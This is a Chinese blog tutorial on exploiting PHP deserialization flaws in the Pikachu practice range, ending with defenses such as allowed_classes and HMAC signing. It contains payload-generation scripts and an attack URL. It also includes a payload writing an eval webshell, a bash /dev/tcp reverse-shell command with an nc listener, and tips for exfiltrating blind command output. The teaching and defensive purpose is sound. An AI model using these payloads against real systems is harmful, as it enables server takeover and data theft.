尧图建网站 尧图建网站 YAOTU WEB BUILD 免费咨询
ARTICLE DETAIL

资讯详情

深耕网站建设与建站编程的一线实战洞察。

PHP反序列化漏洞实战:从Pikachu靶场到WebShell利用

PHP反序列化漏洞实战:从Pikachu靶场到WebShell利用 1. 项目缘起从靶场到实战的必经之路在网络安全的学习和实战演练中我们经常听到“靶场”这个词。它就像一个虚拟的射击训练场里面预设了各种类型的“靶子”——也就是安全漏洞供我们安全从业者或学习者进行无风险的攻击和防御练习。Pikachu靶场就是这样一个在国内安全圈子里非常知名的、专门为Web安全初学者设计的综合训练平台。它覆盖了SQL注入、XSS、文件上传、RCE远程代码执行等几乎所有常见的Web漏洞类型。而今天我们要深入探讨的就是其中关于PHP反序列化漏洞的关卡。为什么PHP反序列化漏洞值得单独拿出来说因为它在实际渗透测试和CTF比赛中出现的频率极高危害性也极大。一个成功的反序列化漏洞利用往往意味着攻击者可以直接在服务器上执行任意代码拿到服务器的控制权也就是常说的“getshell”。相比于SQL注入可能需要一步步“拖库”文件上传需要绕过各种过滤反序列化攻击一旦条件成熟常常是“一键直达”的效果。Pikachu靶场里的这个关卡虽然场景简单但它完美地揭示了这类漏洞的核心原理和利用链条。理解它就等于拿到了打开许多真实世界漏洞大门的其中一把钥匙。接下来我们就从最基础的概念开始一步步拆解这个漏洞并最终在Pikachu靶场中将其复现和利用。2. 核心概念拆解序列化与反序列化到底是什么在深入漏洞之前我们必须先搞清楚两个基础但至关重要的概念序列化Serialization和反序列化Unserialization。这是理解整个漏洞的基石。你可以把序列化想象成“打包”。假设你有一个复杂的乐高模型一个PHP对象里面由很多不同形状、不同颜色的零件对象的属性按照特定结构拼装而成。现在你想把这个模型完整地寄给朋友但直接寄整个模型容易损坏也不方便运输。怎么办你会把它小心翼翼地拆开把每一个零件及其所在的位置信息用一张清单详细地记录下来。这个过程就是序列化。在PHP中序列化就是把一个对象的状态属性值转换成一个可以存储或传输的字符串格式。这个字符串包含了对象的类名、属性名、属性值以及它们的类型和结构信息。反之反序列化就是“拆包并复原”。你的朋友收到了你的零件清单序列化字符串他按照清单上的说明找到对应的零件也许需要先有这些零件的模具即类定义然后一步步把乐高模型重新拼装成原来的样子。在PHP中反序列化就是把这个字符串重新转换回一个活生生的、可操作的对象。听起来很合理对吧问题就出在这个“复原”的过程。PHP的反序列化机制在重建对象时会自动调用一些特殊的“魔术方法”。这些方法的名字以双下划线__开头是PHP面向对象编程中的约定。对于反序列化漏洞而言最关键的两个魔术方法是__wakeup(): 当一个对象被反序列化即从字符串重建时这个方法会自动被调用。它通常用于重新建立数据库连接、初始化资源等。__destruct(): 当一个对象被销毁时例如脚本执行结束或对象被显式unset这个方法会自动被调用。它通常用于关闭连接、清理临时文件等。漏洞的根源在于攻击者可以控制反序列化过程中的数据那个字符串从而控制被重建对象的属性值。如果这个对象的类定义中存在__wakeup()或__destruct()方法并且这些方法中的代码在操作对象属性时存在危险行为比如把某个属性值直接用于执行系统命令那么攻击者通过精心构造序列化字符串就能“遥控”服务器执行恶意代码。3. Pikachu靶场环境搭建与代码审计理论说再多不如亲手试一下。我们先来把靶场环境跑起来。3.1 靶场部署Pikachu靶场通常是一个完整的PHP项目。假设你已经有了PHP版本5.4以上即可建议7.x和Apache/Nginx的运行环境。部署非常简单从GitHub或相关渠道下载Pikachu的源码包。将其解压到你的Web服务器根目录例如/var/www/html/或htdocs。根据其README或安装说明初始化数据库通常会提供一个SQL文件让你导入。在浏览器中访问对应的目录比如http://localhost/pikachu/如果看到可爱的皮卡丘界面说明环境搭建成功。注意永远不要在公网服务器上部署带有漏洞的靶场除非你完全清楚如何隔离和管控其网络访问。建议在本地虚拟机或隔离的Docker容器中进行练习。3.2 漏洞代码分析找到Pikachu中反序列化的关卡路径通常类似/pikachu/vul/unserilization。我们来看它的核心代码。一个典型的、存在漏洞的示例可能如下此为模拟代码用于说明原理// File: unser.php class VulnClass { public $cmd whoami; // 一个危险的属性默认值是系统命令 function __destruct() { // 当对象销毁时执行$this-cmd中的命令 system($this-cmd); } } // 用户输入点 $data $_GET[data]; if(isset($data)){ // 关键漏洞点未经过任何过滤直接反序列化用户输入 $obj unserialize($data); }这段代码的致命缺陷一目了然定义了一个VulnClass类其中有一个属性$cmd。该类有一个__destruct()魔术方法方法体是system($this-cmd)。这意味着一旦这个类的对象被销毁就会尝试执行$cmd属性中存储的系统命令。程序直接从$_GET[‘data’]获取用户输入并直接传递给unserialize()函数。攻击链条非常清晰攻击者可以构造一个序列化字符串这个字符串在反序列化后会生成一个VulnClass对象并且将对象的$cmd属性设置为任意他想要的命令如cat /etc/passwd或反弹shell的命令。当PHP脚本执行完毕这个对象被销毁__destruct()方法被自动触发攻击者的命令就被执行了。在真实的Pikachu靶场中代码可能会稍微复杂一些比如类名不同、属性更多或者命令执行点藏在__wakeup()里但核心模式万变不离其宗用户可控输入 危险魔术方法 未经校验的反序列化操作。4. 漏洞利用实战手把手构造Payload理解了原理我们来动手构造攻击载荷Payload。我们的目标是让服务器执行ipconfigWindows或ifconfigLinux命令查看网络配置信息。4.1 构造恶意序列化字符串首先我们需要在本地编写一个PHP脚本来生成我们想要的序列化字符串。因为我们需要控制$cmd的值。// File: generate_payload.php class VulnClass { // 注意类名必须与靶场中的漏洞类完全一致 public $cmd ifconfig; // 我们将要执行的命令 } $obj new VulnClass(); $payload serialize($obj); // 序列化对象 echo $payload; echo \n; echo URL编码后的Payload: . urlencode($payload);运行这个脚本php generate_payload.php你会得到类似这样的输出O:9:VulnClass:1:{s:3:cmd;s:8:ifconfig;}以及它的URL编码形式。我们来拆解一下这个字符串O:表示这是一个对象Object。9:表示对象类名的长度是9个字符。“VulnClass”:对象的类名。1:表示这个对象有1个属性。{s:3:“cmd”;s:8:“ifconfig”;}这是属性的序列化。里面是一个键值对。s:3:“cmd”:表示键属性名是一个字符串string长度为3内容是cmd。s:8:“ifconfig”:表示值属性值是一个字符串长度为8内容是ifconfig。关键点类名必须匹配。如果靶场中的类名是TestClass而你生成时用了VulnClass反序列化会失败因为PHP找不到VulnClass的定义。所以第一步永远是审计代码确定准确的类名和属性结构。4.2 发起攻击假设靶场漏洞页面的URL是http://localhost/pikachu/vul/unserilization/unser.php并且它通过data参数接收序列化数据。那么我们构造的攻击URL就是http://localhost/pikachu/vul/unserilization/unser.php?dataO:9:VulnClass:1:{s:3:cmd;s:8:ifconfig;}将这段URL在浏览器中访问或者用curl命令请求。如果漏洞存在并且服务器是Linux系统你应该能在页面返回内容中看到服务器的网络接口信息。这就证明我们成功利用了反序列化漏洞执行了系统命令。4.3 进阶利用获取Webshell执行一个简单的命令只是开始。在真实的渗透测试中我们的目标是获得一个持久的、交互式的控制通道也就是Webshell。通常我们会利用漏洞来写入一个Webshell文件。假设我们知道网站根目录是/var/www/html/pikachu/我们可以尝试写入一个最简单的PHP Webshell。我们需要修改生成Payload的脚本// File: generate_webshell_payload.php class VulnClass { public $cmd echo \?php eval(\\$_POST[\\cmd\\]);?\ /var/www/html/pikachu/shell.php; } $obj new VulnClass(); $payload serialize($obj); echo urlencode($payload);这个Payload会让服务器执行echo命令将一句话木马?php eval($_POST[‘cmd’]);?写入到shell.php文件中。然后攻击者就可以通过访问http://localhost/pikachu/shell.php并使用POST方式传递cmd参数来执行任意PHP代码从而完全控制服务器。重要警告与心得在实际靶场练习中写入文件可能会因为目录权限问题www-data用户无权写入而失败。这是非常好的一个“坑”它逼着你去思考其他方法比如寻找可写目录使用find / -type d -writable 2/dev/null命令查找。反弹Shell如果命令执行成功但无法写Webshell可以尝试用bash -c ‘bash -i /dev/tcp/攻击机IP/端口 01’这样的命令将服务器的Shell会话反弹到你的监听端口上。这需要你提前在攻击机上用nc -lvnp 端口进行监听。利用现有文件有时可以覆盖日志文件、缓存文件等使其包含PHP代码然后通过文件包含漏洞去执行。5. 漏洞的深度挖掘与链条构造Pikachu靶场的例子是教科书式的直接明了。但在真实世界和更复杂的CTF题目中漏洞利用链POP Chain的构造才是难点和精髓。危险的方法可能不是直接出现在__destruct()里而是散布在不同的类和方法中。5.1 什么是POP链POPProperty-Oriented Programming链中文常叫“面向属性编程”链。它的核心思想是通过控制一个对象的属性该属性是另一个对象从而在反序列化过程中让程序自动调用一系列本不该连续调用的魔术方法最终达到恶意目的。举个例子类A的__destruct()方法里调用了$this-inner-save()。类B的save()方法里执行了eval($this-data)。如果$this-inner属性可以被控制那么在反序列化时我们就能让一个A对象内部包含一个B对象。当A对象销毁时其__destruct()被调用进而调用B对象的save()方法最终执行代码。我们需要构造的序列化字符串就是一个A对象其inner属性指向一个我们精心设置好的B对象。5.2 在Pikachu或其他场景中寻找POP链面对一个未知的反序列化入口点我们的审计思路应该是定位入口找到unserialize()函数看它的参数是否可控。搜索魔术方法在整个代码库中搜索__wakeup(),__destruct(),__toString()当对象被当作字符串使用时调用__call()调用不可访问方法时触发等。分析危险函数在这些魔术方法内部以及它们可能调用的其他方法内部寻找eval(),assert(),system(),exec(),file_put_contents()等危险函数。追踪属性传递检查危险函数的参数是否来源于对象的某个属性而这个属性是否在反序列化时可以被我们控制。串联调用链如果危险函数不在起始的魔术方法里就看这个魔术方法调用了谁被调用的方法又属于哪个类这个类的对象能否通过属性传递进来。像拼图一样把调用链找出来。这个过程往往需要仔细阅读源代码有时甚至要借助代码审计工具进行静态分析。6. 防御之道如何避免引入反序列化漏洞作为开发者了解攻击是为了更好的防御。以下是一些关键且有效的防御措施根本方法避免反序列化不可信数据这是最彻底的一招。如果不是绝对必要不要使用unserialize()函数。对于数据传输和存储考虑使用更安全的格式如JSONjson_encode/json_decode。严格校验使用白名单如果必须使用反序列化务必对反序列化的数据来源进行严格限制。例如只反序列化来自内部、可信系统的数据。对于来自用户输入、网络请求的数据原则上不应进行反序列化。签名与完整性验证在序列化数据存储或传输前为其添加一个基于密钥的HMAC签名。在反序列化前先验证签名是否有效、数据是否被篡改。这可以防止攻击者篡改或构造恶意序列化字符串。使用安全的反序列化器考虑使用不依赖于魔术方法的、更安全的反序列化库。例如PHP的json_decode()解析JSON对象为数组或标准类stdClass对象这个过程不会自动调用任何类的魔术方法安全性高得多。魔术方法的安全编码在编写包含__wakeup()和__destruct()等魔术方法的类时要保持警惕。避免在这些方法中执行关键性、危险性的操作或者至少要对操作的对象属性进行严格的类型和内容检查。PHP特定配置与补丁unserialize_callback_func 可以在php.ini中设置这个选项指定一个回调函数。当反序列化过程中需要实例化一个未定义的类时会调用这个函数你可以在这里进行拦截和日志记录。allowed_classes参数 从PHP 7.0开始unserialize()函数增加了第二个可选参数$options其中可以设置allowed_classes只允许反序列化指定的类名列表其他类会被反序列化为__PHP_Incomplete_Class对象其魔术方法不会被调用。这是非常推荐的一种方式。// 只允许反序列化MySafeClass和AnotherSafeClass $data unserialize($input, [allowed_classes [MySafeClass, AnotherSafeClass]]);7. 从靶场到真实漏洞的思考通过Pikachu这个简单的靶场我们走完了从理解原理、审计代码、构造Payload到实际利用的完整过程。但真实世界的漏洞远比赛题复杂代码更庞大类更多调用链更深需要耐心和技巧去挖掘。过滤存在可能会有str_replace、正则过滤等需要绕过。例如如果过滤了system你可能要想办法用shell_exec、反引号、passthru或者利用动态函数调用$func($cmd)。无回显命令执行了但结果不显示在页面上盲注。这时就需要用curl、wget把结果发送到你的服务器或者用ping、sleep命令来判断漏洞是否存在。权限限制Web服务器进程如www-data、nginx用户权限很低很多操作受限制。提权Privilege Escalation是另一个大课题。练习靶场就像在驾校学车它给了你一个安全的环境去熟悉油门、刹车和方向盘。而真正的道路真实网络环境充满了未知的障碍和风险。在Pikachu之后你可以尝试去分析一些真实开源CMS、框架的历史反序列化漏洞CVE或者在更复杂的综合靶场如DVWA、WebGoat、各种CTF赛题中继续磨练你的技巧。记住核心控制数据流寻找自动执行的跳板魔术方法最终指向危险函数。这套方法论是应对大多数反序列化漏洞的不二法门。
返回列表